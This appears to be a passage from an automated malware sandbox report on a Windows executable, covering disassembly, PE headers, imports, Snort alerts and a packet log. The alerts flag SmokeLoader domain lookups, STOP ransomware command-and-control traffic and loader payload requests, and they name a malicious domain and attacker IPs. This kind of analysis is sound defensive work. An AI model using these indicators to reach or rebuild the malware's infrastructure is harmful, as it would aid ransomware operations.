jne 00007F54A8CFA321h
add eax, 00000000h
lea esp, dword ptr [esp+00000000h]
lea esp, dword ptr [esp+00000000h]
mov eax, dword ptr [ecx]
mov edx, 7EFEFEFFh
add edx, eax
xor eax, FFFFFFFFh
xor eax, edx
add ecx, 04h
test eax, 81010100h
je 00007F54A8CFA31Ah
mov eax, dword ptr [ecx-04h]
test al, al
je 00007F54A8CFA364h
test ah, ah
je 00007F54A8CFA356h
test eax, 00FF0000h
je 00007F54A8CFA345h
test eax, FF000000h
je 00007F54A8CFA334h
jmp 00007F54A8CFA2FFh
lea eax, dword ptr [ecx-01h]
mov ecx, dword ptr [esp+04h]
sub eax, ecx
ret
lea eax, dword ptr [ecx-02h]
mov ecx, dword ptr [esp+04h]
sub eax, ecx
ret
lea eax, dword ptr [ecx-03h]
mov ecx, dword ptr [esp+04h]
sub eax, ecx
ret
lea eax, dword ptr [ecx-04h]
mov ecx, dword ptr [esp+04h]
sub eax, ecx
ret
mov edi, edi
push ebp
mov ebp, esp
sub esp, 20h
mov eax, dword ptr [ebp+08h]
push esi
push edi
push 00000008h
pop ecx
mov esi, 004012D8h
lea edi, dword ptr [ebp-20h]
rep movsd
mov dword ptr [ebp-08h], eax
mov eax, dword ptr [ebp+0Ch]
pop edi
mov dword ptr [ebp-04h], eax
pop esi

Rich Headers

Programming Language:

[ASM] VS2008 build 21022
[ C ] VS2008 build 21022
[C++] VS2008 build 21022
[IMP] VS2005 build 50727
[RES] VS2008 build 21022
[LNK] VS2008 build 21022

Data Directories

Name	Virtual Address	Virtual Size	Is in Section
IMAGE_DIRECTORY_ENTRY_EXPORT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_IMPORT	0x284b8	0x64	.text
IMAGE_DIRECTORY_ENTRY_RESOURCE	0x26f000	0x19398	.rsrc
IMAGE_DIRECTORY_ENTRY_EXCEPTION	0x0	0x0
IMAGE_DIRECTORY_ENTRY_SECURITY	0x0	0x0
IMAGE_DIRECTORY_ENTRY_BASERELOC	0x289000	0xde4	.reloc
IMAGE_DIRECTORY_ENTRY_DEBUG	0x1220	0x1c	.text
IMAGE_DIRECTORY_ENTRY_COPYRIGHT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_GLOBALPTR	0x0	0x0
IMAGE_DIRECTORY_ENTRY_TLS	0x0	0x0
IMAGE_DIRECTORY_ENTRY_LOAD_CONFIG	0x3150	0x40	.text
IMAGE_DIRECTORY_ENTRY_BOUND_IMPORT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_IAT	0x1000	0x1d4	.text
IMAGE_DIRECTORY_ENTRY_DELAY_IMPORT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_COM_DESCRIPTOR	0x0	0x0
IMAGE_DIRECTORY_ENTRY_RESERVED	0x0	0x0

Sections

Name	Virtual Address	Virtual Size	Raw Size	Xored PE	ZLIB Complexity	File Type	Entropy	Characteristics
.text	0x1000	0x27f7a	0x28000	False	0.786663818359375	data	7.582759753211569	IMAGE_SCN_CNT_CODE, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ
.data	0x29000	0x245844	0x1e00	unknown	unknown	unknown	unknown	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE
.rsrc	0x26f000	0x19398	0x19400	False	0.3791963180693069	data	4.260273203195652	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_READ
.reloc	0x289000	0x332e	0x3400	False	0.22581129807692307	data	2.52425334561387	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_DISCARDABLE, IMAGE_SCN_MEM_READ

Resources

Name	RVA	Size	Type
RT_ICON	0x26f730	0xea8	Device independent bitmap graphic, 48 x 96 x 8, image size 0
RT_ICON	0x2705d8	0x8a8	Device independent bitmap graphic, 32 x 64 x 8, image size 0
RT_ICON	0x270e80	0x25a8	Device independent bitmap graphic, 48 x 96 x 32, image size 0
RT_ICON	0x273428	0x10a8	Device independent bitmap graphic, 32 x 64 x 32, image size 0
RT_ICON	0x2744d0	0x468	Device independent bitmap graphic, 16 x 32 x 32, image size 0
RT_ICON	0x274988	0xea8	Device independent bitmap graphic, 48 x 96 x 8, image size 0
RT_ICON	0x275830	0x8a8	Device independent bitmap graphic, 32 x 64 x 8, image size 0
RT_ICON	0x2760d8	0x568	Device independent bitmap graphic, 16 x 32 x 8, image size 0
RT_ICON	0x276640	0x25a8	Device independent bitmap graphic, 48 x 96 x 32, image size 0
RT_ICON	0x278be8	0x10a8	Device independent bitmap graphic, 32 x 64 x 32, image size 0
RT_ICON	0x279c90	0x988	Device independent bitmap graphic, 24 x 48 x 32, image size 0
RT_ICON	0x27a618	0x468	Device independent bitmap graphic, 16 x 32 x 32, image size 0
RT_ICON	0x27aae8	0xea8	Device independent bitmap graphic, 48 x 96 x 8, image size 0
RT_ICON	0x27b990	0x8a8	Device independent bitmap graphic, 32 x 64 x 8, image size 0
RT_ICON	0x27c238	0x6c8	Device independent bitmap graphic, 24 x 48 x 8, image size 0
RT_ICON	0x27c900	0x568	Device independent bitmap graphic, 16 x 32 x 8, image size 0
RT_ICON	0x27ce68	0x25a8	Device independent bitmap graphic, 48 x 96 x 32, image size 0
RT_ICON	0x27f410	0x10a8	Device independent bitmap graphic, 32 x 64 x 32, image size 0
RT_ICON	0x2804b8	0x468	Device independent bitmap graphic, 16 x 32 x 32, image size 0
RT_ICON	0x280988	0xea8	Device independent bitmap graphic, 48 x 96 x 8, image size 0
RT_ICON	0x281830	0x8a8	Device independent bitmap graphic, 32 x 64 x 8, image size 0
RT_ICON	0x2820d8	0x568	Device independent bitmap graphic, 16 x 32 x 8, image size 0
RT_ICON	0x282640	0x25a8	Device independent bitmap graphic, 48 x 96 x 32, image size 0
RT_ICON	0x284be8	0x10a8	Device independent bitmap graphic, 32 x 64 x 32, image size 0
RT_ICON	0x285c90	0x988	Device independent bitmap graphic, 24 x 48 x 32, image size 0
RT_ICON	0x286618	0x468	Device independent bitmap graphic, 16 x 32 x 32, image size 0
RT_STRING	0x286d20	0x664	data
RT_STRING	0x287388	0x59e	data
RT_STRING	0x287928	0x29a	data
RT_STRING	0x287bc8	0x248	data
RT_STRING	0x287e10	0x582	data
RT_GROUP_ICON	0x286a80	0x68	data
RT_GROUP_ICON	0x274938	0x4c	data
RT_GROUP_ICON	0x280920	0x68	data
RT_GROUP_ICON	0x27aa80	0x68	data
RT_VERSION	0x286ae8	0x238	data

Imports

DLL	Import
KERNEL32.dll	GetModuleHandleW, IsBadReadPtr, GetConsoleAliasesLengthA, WaitForMultipleObjectsEx, GetPrivateProfileIntA, FreeConsole, GetVersionExW, WritePrivateProfileStructW, MulDiv, GetModuleFileNameW, CreateActCtxA, WritePrivateProfileStringW, ReplaceFileA, GetStringTypeExA, GetStdHandle, GetLogicalDriveStringsA, OpenMutexW, GetLastError, ReadConsoleOutputCharacterA, GetProcAddress, AttachConsole, SleepEx, VirtualAlloc, _hwrite, LoadLibraryA, InterlockedExchangeAdd, LocalAlloc, GetFileType, CreateFileMappingW, FindFirstVolumeMountPointW, GetNumberFormatW, CreateEventW, GetModuleFileNameA, lstrcmpiW, GetModuleHandleA, CreateMutexA, GetFileAttributesExW, GetConsoleCursorInfo, ScrollConsoleScreenBufferA, GetCurrentThreadId, FindAtomW, EnumResourceLanguagesW, DebugBreak, FindNextVolumeA, AddConsoleAliasW, CancelWaitableTimer, GetCommState, WaitForSingleObject, GetLongPathNameA, GetCommandLineA, GetStartupInfoA, RaiseException, RtlUnwind, TerminateProcess, GetCurrentProcess, UnhandledExceptionFilter, SetUnhandledExceptionFilter, IsDebuggerPresent, HeapAlloc, HeapFree, WideCharToMultiByte, SetHandleCount, DeleteCriticalSection, EnterCriticalSection, LeaveCriticalSection, Sleep, ExitProcess, WriteFile, FreeEnvironmentStringsA, GetEnvironmentStrings, FreeEnvironmentStringsW, GetEnvironmentStringsW, TlsGetValue, TlsAlloc, TlsSetValue, TlsFree, InterlockedIncrement, SetLastError, InterlockedDecrement, HeapCreate, VirtualFree, QueryPerformanceCounter, GetTickCount, GetCurrentProcessId, GetSystemTimeAsFileTime, HeapReAlloc, SetFilePointer, GetConsoleCP, GetConsoleMode, GetCPInfo, GetACP, GetOEMCP, IsValidCodePage, InitializeCriticalSectionAndSpinCount, HeapSize, SetStdHandle, WriteConsoleA, GetConsoleOutputCP, WriteConsoleW, MultiByteToWideChar, LCMapStringA, LCMapStringW, GetStringTypeA, GetStringTypeW, GetLocaleInfoA, FlushFileBuffers, CreateFileA, CloseHandle
USER32.dll	CharLowerBuffA
GDI32.dll	GetCharWidthW, EnumFontsW, GetCharABCWidthsFloatW
ADVAPI32.dll	MapGenericMask

Network Behavior

Snort IDS Alerts

Timestamp	Protocol	SID	Message	Source Port	Dest Port	Source IP	Dest IP
192.168.2.38.8.8.857990532045695 05/28/23-10:42:32.589547	UDP	2045695	ET TROJAN DNS Query to SmokeLoader Domain (potunulit .org)	57990	53	192.168.2.3	8.8.8.8
192.168.2.3103.100.211.21849720802839238 05/28/23-10:42:49.105133	TCP	2839238	ETPRO TROJAN Blackmoon CnC Activity	49720	80	192.168.2.3	103.100.211.218
192.168.2.38.8.8.853975532045695 05/28/23-10:42:39.331614	UDP	2045695	ET TROJAN DNS Query to SmokeLoader Domain (potunulit .org)	53975	53	192.168.2.3	8.8.8.8
211.59.14.90192.168.2.380497142036335 05/28/23-10:42:46.297030	TCP	2036335	ET TROJAN Win32/Filecoder.STOP Variant Public Key Download	80	49714	211.59.14.90	192.168.2.3
192.168.2.3123.140.161.24349713802036333 05/28/23-10:42:45.165749	TCP	2036333	ET TROJAN Win32/Vodkagats Loader Requesting Payload	49713	80	192.168.2.3	123.140.161.243
192.168.2.38.8.8.860767532045695 05/28/23-10:42:51.638861	UDP	2045695	ET TROJAN DNS Query to SmokeLoader Domain (potunulit .org)	60767	53	192.168.2.3	8.8.8.8
192.168.2.38.8.8.859636532045695 05/28/23-10:42:45.594129	UDP	2045695	ET TROJAN DNS Query to SmokeLoader Domain (potunulit .org)	59636	53	192.168.2.3	8.8.8.8
175.119.10.231192.168.2.380497112036335 05/28/23-10:42:45.790332	TCP	2036335	ET TROJAN Win32/Filecoder.STOP Variant Public Key Download	80	49711	175.119.10.231	192.168.2.3
192.168.2.3175.119.10.23149721802020826 05/28/23-10:42:51.341437	TCP	2020826	ET TROJAN Potential Dridex.Maldoc Minimal Executable Request	49721	80	192.168.2.3	175.119.10.231
192.168.2.3123.140.161.24349713802020826 05/28/23-10:42:45.165749	TCP	2020826	ET TROJAN Potential Dridex.Maldoc Minimal Executable Request	49713	80	192.168.2.3	123.140.161.243
192.168.2.3211.59.14.9049714802833438 05/28/23-10:42:45.438118	TCP	2833438	ETPRO TROJAN STOP Ransomware CnC Activity	49714	80	192.168.2.3	211.59.14.90
192.168.2.38.8.8.856924532045695 05/28/23-10:42:38.041315	UDP	2045695	ET TROJAN DNS Query to SmokeLoader Domain (potunulit .org)	56924	53	192.168.2.3	8.8.8.8
192.168.2.3175.119.10.23149721802036333 05/28/23-10:42:51.341437	TCP	2036333	ET TROJAN Win32/Vodkagats Loader Requesting Payload	49721	80	192.168.2.3	175.119.10.231

Network Port Distribution

TCP Packets

Timestamp	Source Port	Dest Port	Source IP	Dest IP
May 28, 2023 10:42:32.626749039 CEST	49698	80	192.168.2.3	188.114.97.7
May 28, 2023 10:42:32.643356085 CEST	80	49698	188.114.97.7	192.168.2.3
May 28, 2023 10:42:32.643559933 CEST	49698	80	192.168.2.3	188.114.97.7
May 28, 2023 10:42:32.643846989 CEST	49698	80	192.168.2.3	188.114.97.7
May 28, 2023 10:42:32.643882036 CEST	49698	80	192.168.2.3	188.114.97.7
May 28, 2023 10:42:32.660356998 CEST	80	49698	188.114.97.7	192.168.2.3
May 28, 2023 10:42:32.660419941 CEST	80	49698	188.114.97.7	192.168.2.3
May 28, 2023 10:42:32.794167995 CEST	80	49698	188.114.97.7	192.168.2.3
May 28, 2023 10:42:32.794229984 CEST	80	49698	188.114.97.7	192.168.2.3
May 28, 2023 10:42:32.794404030 CEST	49698	80	192.168.2.3	188.114.97.7
May 28, 2023 10:42:32.801357985 CEST	49698	80	192.168.2.3	188.114.97.7
May 28, 2023 10:42:32.801403999 CEST	49698	80	192.168.2.3	188.114.97.7
May 28, 2023 10:42:32.817797899 CEST	80	49698	188.114.97.7	192.168.2.3
May 28, 2023 10:42:32.817853928 CEST	80	49698	188.114.97.7	192.168.2.3
May 28, 2023 10:42:32.886226892 CEST	80	49698	188.114.97.7	192.168.2.3
May 28, 2023 10:42:32.886286020 CEST	80	49698	188.114.97.7	192.168.2.3
May 28, 2023 10:42:32.886405945 CEST	49698	80	192.168.2.3	188.114.97.7
May 28, 2023 10:42:33.224350929 CEST	49699	80	192.168.2.3	211.119.84.112
May 28, 2023 10:42:33.469502926 CEST	80	49699	211.119.84.112	192.168.2.3
May 28, 2023 10:42:33.469827890 CEST	49699	80	192.168.2.3	211.119.84.112
May 28, 2023 10:42:33.486999035 CEST	49699	80	192.168.2.3	211.119.84.112
May 28, 2023 10:42:33.931035042 CEST	80	49699	211.119.84.112	192.168.2.3
May 28, 2023 10:42:34.219666004 CEST	80	49699	211.119.84.112	192.168.2.3
May 28, 2023 10:42:34.219733953 CEST	80	49699	211.119.84.112	192.168.2.3
May 28, 2023 10:42:34.219870090 CEST	49699	80	192.168.2.3	211.119.84.112
May 28, 2023 10:42:34.465065956 CEST	80	49699	211.119.84.112	192.168.2.3
May 28, 2023 10:42:34.465104103 CEST	80	49699	211.119.84.112	192.168.2.3
May 28, 2023 10:42:34.465127945 CEST	80	49699	211.119.84.112	192.168.2.3
May 28, 2023 10:42:34.465153933 CEST	80	49699	211.119.84.112	192.168.2.3
May 28, 2023 10:42:34.465260983 CEST	49699	80	192.168.2.3	211.119.84.112
May 28, 2023 10:42:34.465419054 CEST	49699	80	192.168.2.3	211.119.84.112
May 28, 2023 10:42:34.709892988 CEST	80	49699	211.119.84.112	192.168.2.3
May 28, 2023 10:42:34.709956884 CEST	80	49699	211.119.84.112	192.168.2.3
May 28, 2023 10:42:34.710007906 CEST	80	49699	211.119.84.112	192.168.2.3
May 28, 2023 10:42:34.710053921 CEST	80	49699	211.119.84.112	192.168.2.3
May 28, 2023 10:42:34.710052967 CEST	49699	80	192.168.2.3	211.119.84.112
May 28, 2023 10:42:34.710103035 CEST	80	49699	211.119.84.112	192.168.2.3
May 28, 2023 10:42:34.710150003 CEST	49699	80	192.168.2.3	211.119.84.112
May 28, 2023 10:42:34.710150957 CEST	80	49699	211.119.84.112	192.168.2.3
May 28, 2023 10:42:34.710200071 CEST	80	49699	211.119.84.112	192.168.2.3
May 28, 2023 10:42:34.710207939 CEST	49699	80	192.168.2.3	211.119.84.112
May 28, 2023 10:42:34.710247993 CEST	80	49699	211.119.84.112	192.168.2.3
May 28, 2023 10:42:34.710303068 CEST	49699	80	192.168.2.3	211.119.84.112
May 28, 2023 10:42:34.954205036 CEST	80	49699	211.119.84.112	192.168.2.3
May 28, 2023 10:42:34.954272032 CEST	80	49699	211.119.84.112	192.168.2.3
May 28, 2023 10:42:34.954317093 CEST	80	49699	211.119.84.112	192.168.2.3
May 28, 2023 10:42:34.954428911 CEST	80	49699	211.119.84.112	192.168.2.3
May 28, 2023 10:42:34.954431057 CEST	49699	80	192.168.2.3	211.119.84.112
May 28, 2023 10:42:34.954477072 CEST	80	49699	211.119.84.112	192.168.2.3
May 28, 2023 10:42:34.954534054 CEST	49699	80	192.168.2.3	211.119.84.112
May 28, 2023 10:42:34.954562902 CEST	80	49699	211.119.84.112	192.168.2.3
May 28, 2023 10:42:34.954617977 CEST	80	49699	211.119.84.112	192.168.2.3
May 28, 2023 10:42:34.954632998 CEST	49699	80	192.168.2.3	211.119.84.112
May 28, 2023 10:42:34.954668999 CEST	80	49699	211.119.84.112	192.168.2.3
May 28, 2023 10:42:34.954749107 CEST	80	49699	211.119.84.112	192.168.2.3
May 28, 2023 10:42:34.954766035 CEST	49699	80	192.168.2.3	211.119.84.112
May 28, 2023 10:42:34.954796076 CEST	80	49699	211.119.84.112	192.168.2.3
May 28, 2023 10:42:34.954840899 CEST	80	49699	211.119.84.112	192.168.2.3
May 28, 2023 10:42:34.954853058 CEST	49699	80	192.168.2.3	211.119.84.112
May 28, 2023 10:42:34.954890013 CEST	80	49699	211.119.84.112	192.168.2.3
May 28, 2023 10:42:34.954936028 CEST	80	49699	211.119.84.112	192.168.2.3
May 28, 2023 10:42:34.954942942 CEST	49699	80	192.168.2.3	211.119.84.112
May 28, 2023 10:42:34.954983950 CEST	80	49699	211.119.84.112	192.168.2.3
May 28, 2023 10:42:34.955030918 CEST	80	49699	211.119.84.112	192.168.2.3
May 28, 2023 10:42:34.955041885 CEST	49699	80	192.168.2.3	211.119.84.112
May 28, 2023 10:42:34.955079079 CEST	80	49699	211.119.84.112	192.168.2.3
May 28, 2023 10:42:34.955136061 CEST	49699	80	192.168.2.3	211.119.84.112
May 28, 2023 10:42:35.199152946 CEST	80	49699	211.119.84.112	192.168.2.3
May 28, 2023 10:42:35.199218035 CEST	80	49699	211.119.84.112	192.168.2.3
May 28, 2023 10:42:35.199345112 CEST	80	49699	211.119.84.112	192.168.2.3
May 28, 2023 10:42:35.199345112 CEST	49699	80	192.168.2.3	211.119.84.112
May 28, 2023 10:42:35.199393034 CEST	80	49699	211.119.84.112	192.168.2.3
May 28, 2023 10:42:35.199459076 CEST	49699	80	192.168.2.3	211.119.84.112
May 28, 2023 10:42:35.199472904 CEST	80	49699	211.119.84.112	192.168.2.3
May 28, 2023 10:42:35.199521065 CEST	80	49699	211.119.84.112	192.168.2.3
May 28, 2023 10:42:35.199593067 CEST	49699	80	192.168.2.3	211.119.84.112
May 28, 2023 10:42:35.199688911 CEST	80	49699	211.119.84.112	192.168.2.3
May 28, 2023 10:42:35.199764967 CEST	80	49699	211.119.84.112	192.168.2.3
May 28, 2023 10:42:35.199811935 CEST	80	49699	211.119.84.112	192.168.2.3
May 28, 2023 10:42:35.199835062 CEST	49699	80	192.168.2.3	211.119.84.112
May 28, 2023 10:42:35.199867010 CEST	80	49699	211.119.84.112	192.168.2.3
May 28, 2023 10:42:35.199919939 CEST	49699	80	192.168.2.3	211.119.84.112
May 28, 2023 10:42:35.199924946 CEST	80	49699	211.119.84.112	192.168.2.3
May 28, 2023 10:42:35.199974060 CEST	80	49699	211.119.84.112	192.168.2.3
May 28, 2023 10:42:35.200021029 CEST	49699	80	192.168.2.3	211.119.84.112
May 28, 2023 10:42:35.200021029 CEST	80	49699	211.119.84.112	192.168.2.3
May 28, 2023 10:42:35.200067997 CEST	80	49699	211.119.84.112	192.168.2.3
May 28, 2023 10:42:35.200114965 CEST	80	49699	211.119.84.112	192.168.2.3
May 28, 2023 10:42:35.200118065 CEST	49699	80	192.168.2.3	211.119.84.112
May 28, 2023 10:42:35.200182915 CEST	80	49699	211.119.84.112	192.168.2.3
May 28, 2023 10:42:35.200239897 CEST	49699	80	192.168.2.3	211.119.84.112
May 28, 2023 10:42:35.200251102 CEST	80	49699	211.119.84.112	192.168.2.3
May 28, 2023 10:42:35.200346947 CEST	80	49699	211.119.84.112	192.168.2.3
May 28, 2023 10:42:35.200392962 CEST	80	49699	211.119.84.112	192.168.2.3
May 28, 2023 10:42:35.200397968 CEST	49699	80	192.168.2.3	211.119.84.112
May 28, 2023 10:42:35.200439930 CEST	80	49699	211.119.84.112	192.168.2.3
May 28, 2023 10:42:35.200484037 CEST	80	49699	211.119.84.112	192.168.2.3
May 28, 2023 10:42:35.200486898 CEST	49699	80	192.168.2.3	211.119.84.112
May 28, 2023 10:42:35.200530052 CEST	80	49699	211.119.84.112	192.168.2.3
May 28, 2023 10:42:35.200575113 CEST	80	49699	211.119.84.112	192.168.2.3
May 28, 2023 10:42:35.200593948 CEST	49699	80	192.168.2.3	211.119.84.112
May 28, 2023 10:42:35.200622082 CEST	80	49699	211.119.84.112	192.168.2.3
May 28, 2023 10:42:35.200670004 CEST	80	49699	211.119.84.112	192.168.2.3
May 28, 2023 10:42:35.200670958 CEST	49699	80	192.168.2.3	211.119.84.112
May 28, 2023 10:42:35.200720072 CEST	80	49699	211.119.84.112	192.168.2.3
May 28, 2023 10:42:35.200766087 CEST	49699	80	192.168.2.3	211.119.84.112
May 28, 2023 10:42:35.200766087 CEST	80	49699	211.119.84.112	192.168.2.3
May 28, 2023 10:42:35.200813055 CEST	80	49699	211.119.84.112	192.168.2.3
May 28, 2023 10:42:35.200855970 CEST	80	49699	211.119.84.112	192.168.2.3
May 28, 2023 10:42:35.200860023 CEST	49699	80	192.168.2.3	211.119.84.112
May 28, 2023 10:42:35.200900078 CEST	80	49699	211.119.84.112	192.168.2.3
May 28, 2023 10:42:35.200943947 CEST	80	49699	211.119.84.112	192.168.2.3
May 28, 2023 10:42:35.200952053 CEST	49699	80	192.168.2.3	211.119.84.112
May 28, 2023 10:42:35.200990915 CEST	80	49699	211.119.84.112	192.168.2.3
May 28, 2023 10:42:35.201041937 CEST	49699	80	192.168.2.3	211.119.84.112
May 28, 2023 10:42:35.445327997 CEST	80	49699	211.119.84.112	192.168.2.3
May 28, 2023 10:42:35.445425987 CEST	80	49699	211.119.84.112	192.168.2.3
May 28, 2023 10:42:35.445472956 CEST	80	49699	211.119.84.112	192.168.2.3
May 28, 2023 10:42:35.445512056 CEST	80	49699	211.119.84.112	192.168.2.3
May 28, 2023 10:42:35.445555925 CEST	80	49699	211.119.84.112	192.168.2.3
May 28, 2023 10:42:35.445559025 CEST	49699	80	192.168.2.3	211.119.84.112
May 28, 2023 10:42:35.445604086 CEST	80	49699	211.119.84.112	192.168.2.3
May 28, 2023 10:42:35.445612907 CEST	49699	80	192.168.2.3	211.119.84.112
May 28, 2023 10:42:35.445651054 CEST	80	49699	211.119.84.112	192.168.2.3
May 28, 2023 10:42:35.445662975 CEST	49699	80	192.168.2.3	211.119.84.112
May 28, 2023 10:42:35.445697069 CEST	80	49699	211.119.84.112	192.168.2.3
May 28, 2023 10:42:35.445746899 CEST	80	49699	211.119.84.112	192.168.2.3
May 28, 2023 10:42:35.445751905 CEST	49699	80	192.168.2.3	211.119.84.112
May 28, 2023 10:42:35.445795059 CEST	80	49699	211.119.84.112	192.168.2.3
May 28, 2023 10:42:35.445839882 CEST	80	49699	211.119.84.112	192.168.2.3
May 28, 2023 10:42:35.445856094 CEST	49699	80	192.168.2.3	211.119.84.112
May 28, 2023 10:42:35.445887089 CEST	80	49699	211.119.84.112	192.168.2.3
May 28, 2023 10:42:35.445931911 CEST	80	49699	211.119.84.112	192.168.2.3
May 28, 2023 10:42:35.445941925 CEST	49699	80	192.168.2.3	211.119.84.112
May 28, 2023 10:42:35.445977926 CEST	80	49699	211.119.84.112	192.168.2.3
May 28, 2023 10:42:35.446024895 CEST	80	49699	211.119.84.112	192.168.2.3
May 28, 2023 10:42:35.446033955 CEST	49699	80	192.168.2.3	211.119.84.112
May 28, 2023 10:42:35.446073055 CEST	80	49699	211.119.84.112	192.168.2.3
May 28, 2023 10:42:35.446119070 CEST	80	49699	211.119.84.112	192.168.2.3
May 28, 2023 10:42:35.446132898 CEST	49699	80	192.168.2.3	211.119.84.112
May 28, 2023 10:42:35.446165085 CEST	80	49699	211.119.84.112	192.168.2.3
May 28, 2023 10:42:35.446209908 CEST	80	49699	211.119.84.112	192.168.2.3
May 28, 2023 10:42:35.446213007 CEST	49699	80	192.168.2.3	211.119.84.112
May 28, 2023 10:42:35.446258068 CEST	80	49699	211.119.84.112	192.168.2.3
May 28, 2023 10:42:35.446307898 CEST	49699	80	192.168.2.3	211.119.84.112
May 28, 2023 10:42:35.446322918 CEST	80	49699	211.119.84.112	192.168.2.3
May 28, 2023 10:42:35.446379900 CEST	80	49699	211.119.84.112	192.168.2.3
May 28, 2023 10:42:35.446424961 CEST	80	49699	211.119.84.112	192.168.2.3
May 28, 2023 10:42:35.446430922 CEST	49699	80	192.168.2.3	211.119.84.112
May 28, 2023 10:42:35.446470976 CEST	80	49699	211.119.84.112	192.168.2.3
May 28, 2023 10:42:35.446518898 CEST	80	49699	211.119.84.112	192.168.2.3
May 28, 2023 10:42:35.446530104 CEST	49699	80	192.168.2.3	211.119.84.112
May 28, 2023 10:42:35.446567059 CEST	80	49699	211.119.84.112	192.168.2.3
May 28, 2023 10:42:35.446614027 CEST	80	49699	211.119.84.112	192.168.2.3
May 28, 2023 10:42:35.446615934 CEST	49699	80	192.168.2.3	211.119.84.112
May 28, 2023 10:42:35.446659088 CEST	80	49699	211.119.84.112	192.168.2.3
May 28, 2023 10:42:35.446703911 CEST	80	49699	211.119.84.112	192.168.2.3
May 28, 2023 10:42:35.446712017 CEST	49699	80	192.168.2.3	211.119.84.112
May 28, 2023 10:42:35.446743965 CEST	80	49699	211.119.84.112	192.168.2.3
May 28, 2023 10:42:35.446789026 CEST	80	49699	211.119.84.112	192.168.2.3
May 28, 2023 10:42:35.446794987 CEST	49699	80	192.168.2.3	211.119.84.112
May 28, 2023 10:42:35.446835041 CEST	80	49699	211.119.84.112	192.168.2.3
May 28, 2023 10:42:35.446880102 CEST	80	49699	211.119.84.112	192.168.2.3
May 28, 2023 10:42:35.446887016 CEST	49699	80	192.168.2.3	211.119.84.112
May 28, 2023 10:42:35.446924925 CEST	80	49699	211.119.84.112	192.168.2.3
May 28, 2023 10:42:35.446969986 CEST	80	49699	211.119.84.112	192.168.2.3
May 28, 2023 10:42:35.446971893 CEST	49699	80	192.168.2.3	211.119.84.112
May 28, 2023 10:42:35.447016001 CEST	80	49699	211.119.84.112	192.168.2.3
May 28, 2023 10:42:35.447060108 CEST	80	49699	211.119.84.112	192.168.2.3
May 28, 2023 10:42:35.447067022 CEST	49699	80	192.168.2.3	211.119.84.112
May 28, 2023 10:42:35.447103977 CEST	80	49699	211.119.84.112	192.168.2.3
May 28, 2023 10:42:35.447149038 CEST	80	49699	211.119.84.112	192.168.2.3
May 28, 2023 10:42:35.447154045 CEST	49699	80	192.168.2.3	211.119.84.112
May 28, 2023 10:42:35.447192907 CEST	80	49699	211.119.84.112	192.168.2.3
May 28, 2023 10:42:35.447237968 CEST	80	49699	211.119.84.112	192.168.2.3
May 28, 2023 10:42:35.447242975 CEST	49699	80	192.168.2.3	211.119.84.112
May 28, 2023 10:42:35.447283030 CEST	80	49699	211.119.84.112	192.168.2.3
May 28, 2023 10:42:35.447326899 CEST	80	49699	211.119.84.112	192.168.2.3
May 28, 2023 10:42:35.447330952 CEST	49699	80	192.168.2.3	211.119.84.112
May 28, 2023 10:42:35.447376013 CEST	80	49699	211.119.84.112	192.168.2.3
May 28, 2023 10:42:35.447426081 CEST	49699	80	192.168.2.3	211.119.84.112
May 28, 2023 10:42:35.447442055 CEST	80	49699	211.119.84.112	192.168.2.3
May 28, 2023 10:42:35.447489977 CEST	80	49699	211.119.84.112	192.168.2.3
May 28, 2023 10:42:35.447535992 CEST	80	49699	211.119.84.112	192.168.2.3
May 28, 2023 10:42:35.447541952 CEST	49699	80	192.168.2.3	211.119.84.112
May 28, 2023 10:42:35.447582006 CEST	80	49699	211.119.84.112	192.168.2.3
May 28, 2023 10:42:35.447628021 CEST	80	49699	211.119.84.112	192.168.2.3
May 28, 2023 10:42:35.447633982 CEST	49699	80	192.168.2.3	211.119.84.112
May 28, 2023 10:42:35.447676897 CEST	80	49699	211.119.84.112	192.168.2.3
May 28, 2023 10:42:35.447722912 CEST	80	49699	211.119.84.112	192.168.2.3
May 28, 2023 10:42:35.447726011 CEST	49699	80	192.168.2.3	211.119.84.112
May 28, 2023 10:42:35.447772026 CEST	80	49699	211.119.84.112	192.168.2.3
May 28, 2023 10:42:35.447822094 CEST	49699	80	192.168.2.3	211.119.84.112
May 28, 2023 10:42:35.692189932 CEST	80	49699	211.119.84.112	192.168.2.3
May 28, 2023 10:42:35.692255974 CEST	80	49699	211.119.84.112	192.168.2.3
May 28, 2023 10:42:35.692329884 CEST	80	49699	211.119.84.112	192.168.2.3
May 28, 2023 10:42:35.692378044 CEST	80	49699	211.119.84.112	192.168.2.3
May 28, 2023 10:42:35.692414999 CEST	49699	80	192.168.2.3	211.119.84.112
May 28, 2023 10:42:35.692425966 CEST	80	49699	211.119.84.112	192.168.2.3
May 28, 2023 10:42:35.692465067 CEST	49699	80	192.168.2.3	211.119.84.112
May 28, 2023 10:42:35.692473888 CEST	80	49699	211.119.84.112	192.168.2.3
May 28, 2023 10:42:35.692522049 CEST	80	49699	211.119.84.112	192.168.2.3
May 28, 2023 10:42:35.692570925 CEST	80	49699	211.119.84.112	192.168.2.3
May 28, 2023 10:42:35.692588091 CEST	49699	80	192.168.2.3	211.119.84.112
May 28, 2023 10:42:35.692620993 CEST	80	49699	211.119.84.112	192.168.2.3
May 28, 2023 10:42:35.692627907 CEST	49699	80	192.168.2.3	211.119.84.112
May 28, 2023 10:42:35.692670107 CEST	80	49699	211.119.84.112	192.168.2.3
May 28, 2023 10:42:35.692717075 CEST	80	49699	211.119.84.112	192.168.2.3
May 28, 2023 10:42:35.692730904 CEST	49699	80	192.168.2.3	211.119.84.112
May 28, 2023 10:42:35.692764997 CEST	80	49699	211.119.84.112	192.168.2.3
May 28, 2023 10:42:35.692811012 CEST	80	49699	211.119.84.112	192.168.2.3
May 28, 2023 10:42:35.692856073 CEST	80	49699	211.119.84.112	192.168.2.3
May 28, 2023 10:42:35.692862988 CEST	49699	80	192.168.2.3	211.119.84.112
May 28, 2023 10:42:35.692903042 CEST	49699	80	192.168.2.3	211.119.84.112
May 28, 2023 10:42:35.692903042 CEST	80	49699	211.119.84.112	192.168.2.3
